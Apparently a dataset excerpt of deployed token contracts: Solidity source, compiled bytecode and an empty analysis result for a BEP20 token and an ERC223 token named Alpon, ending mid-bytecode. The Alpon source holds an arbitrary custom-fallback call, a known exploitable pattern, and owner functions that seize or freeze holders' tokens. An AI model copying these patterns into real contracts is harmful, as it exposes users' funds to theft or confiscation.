view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122020df0cf3f2dfbe9cd9b2fbe91edc566f9a12183f367fc8107d9796c28e7b177064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,689
0x90fd55fb4d68cb96e9ab26253d0f0b59a728abc1
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title Alpon * @author Alpon * @dev Alpon is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract Alpon is ERC223, Ownable { using SafeMath for uint256; string public name = "Alpon"; string public symbol = "APN"; uint8 public decimals = 8; uint256 public initialSupply = 1e9 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function Alpon() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount. */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a578063378dc3dc146102a357806340c10f19146102b65780634f25eced146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610240610c48565b34156102c157600080fd5b61016d600160a060020a0360043516602435610c4e565b34156102e357600080fd5b610240610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5695505050505050565b341561038557600080fd5b610240600160a060020a0360043516610eb0565b34156103a457600080fd5b61016d610ecb565b34156103b757600080fd5b6103bf610f38565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f4792505050565b341561043757600080fd5b6101946111d5565b341561044a57600080fd5b610158600160a060020a0360043516602435611248565b341561046c57600080fd5b61016d600160a060020a0360043516602435611330565b341561048e57600080fd5b61016d600160a060020a036004351661140b565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061142095505050505050565b341561051257600080fd5b61015860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114eb9050565b341561056557600080fd5b610240600160a060020a03600435166115ed565b341561058457600080fd5b6101586004356115ff565b341561059a57600080fd5b610240600160a060020a036004358116906024351661161f565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061164a95505050505050565b341561064e57600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118fc95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bca565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c6595505050505050565b60006007541180156107c65750600754600154600160a060020a031660009081526009602052604090205410155b80156107eb5750600160a060020a0333166000908152600b602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600c602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600754600154600160a060020a03166000908152600960205260409020546108839163ffffffff611fbd16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108c19163ffffffff611fcf16565b600160a060020a033381166000818152600960205260409081902093909355600154600754919392169160008051602061240a83398151915291905190815260200160405180910390a3565b60085460ff1681565b61091e6123f7565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260096020526040902054829010155b8015610aa25750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600c602052604090205442115b8015610b325750600160a060020a0383166000908152600c602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260096020526040902054610b66908363ffffffff611fbd16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9b908363ffffffff611fcf16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610be3908363ffffffff611fbd16565b600160a060020a038086166000818152600a60209081526040808320338616845290915290819020939093559085169160008051602061240a8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c6c57600080fd5b60085460ff1615610c7c57600080fd5b60008211610c8957600080fd5b600654610c9c908363ffffffff611fcf16565b600655600160a060020a038316600090815260096020526040902054610cc8908363ffffffff611fcf16565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061240a8339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d7457600080fd5b60008351118015610d86575081518351145b1515610d9157600080fd5b5060005b8251811015610eab57818181518110610daa57fe5b90602001906020020151600c6000858481518110610dc457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610df257600080fd5b818181518110610dfe57fe5b90602001906020020151600c6000858481518110610e1857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8857fe5b9060200190602002015160405190815260200160405180910390a2600101610d95565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f5c575060008551115b8015610f815750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fa45750600160a060020a0333166000908152600c602052604090205442115b1515610faf57600080fd5b610fc3846305f5e10063ffffffff611fde16565b9350610fd78551859063ffffffff611fde16565b600160a060020a0333166000908152600960205260409020549092508290101561100057600080fd5b5060005b84518110156111885784818151811061101957fe5b90602001906020020151600160a060020a03161580159061106e5750600b600086838151811061104557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110b35750600c600086838151811061108557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110be57600080fd5b61110284600960008885815181106110d257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fcf16565b6009600087848151811061111257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061114257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3600101611004565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fbd16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b6111dd6123f7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461126357600080fd5b60008111801561128c5750600160a060020a038216600090815260096020526040902054819010155b151561129757600080fd5b600160a060020a0382166000908152600960205260409020546112c0908263ffffffff611fbd16565b600160a060020a0383166000908152600960205260409020556006546112ec908263ffffffff611fbd16565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061133a6123f7565b6000831180156113635750600160a060020a0333166000908152600b602052604090205460ff16155b80156113885750600160a060020a0384166000908152600b602052604090205460ff16155b80156113ab5750600160a060020a0333166000908152600c602052604090205442115b80156113ce5750600160a060020a0384166000908152600c602052604090205442115b15156113d957600080fd5b6113e284612009565b156113f9576113f2848483612011565b9150611404565b6113f2848483612274565b5092915050565b600b6020526000908152604090205460ff1681565b6000808311801561144a5750600160a060020a0333166000908152600b602052604090205460ff16155b801561146f5750600160a060020a0384166000908152600b602052604090205460ff16155b80156114925750600160a060020a0333166000908152600c602052604090205442115b80156114b55750600160a060020a0384166000908152600c602052604090205442115b15156114c057600080fd5b6114c984612009565b156114e0576114d9848484612011565b9050610c38565b6114d9848484612274565b60015460009033600160a060020a0390811691161461150957600080fd5b600083511161151757600080fd5b5060005b8251811015610eab5782818151811061153057fe5b90602001906020020151600160a060020a0316151561154e57600080fd5b81600b600085848151811061155f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061159d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161151b565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461161a57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611660575083518551145b80156116855750600160a060020a0333166000908152600b602052604090205460ff16155b80156116a85750600160a060020a0333166000908152600c602052604090205442115b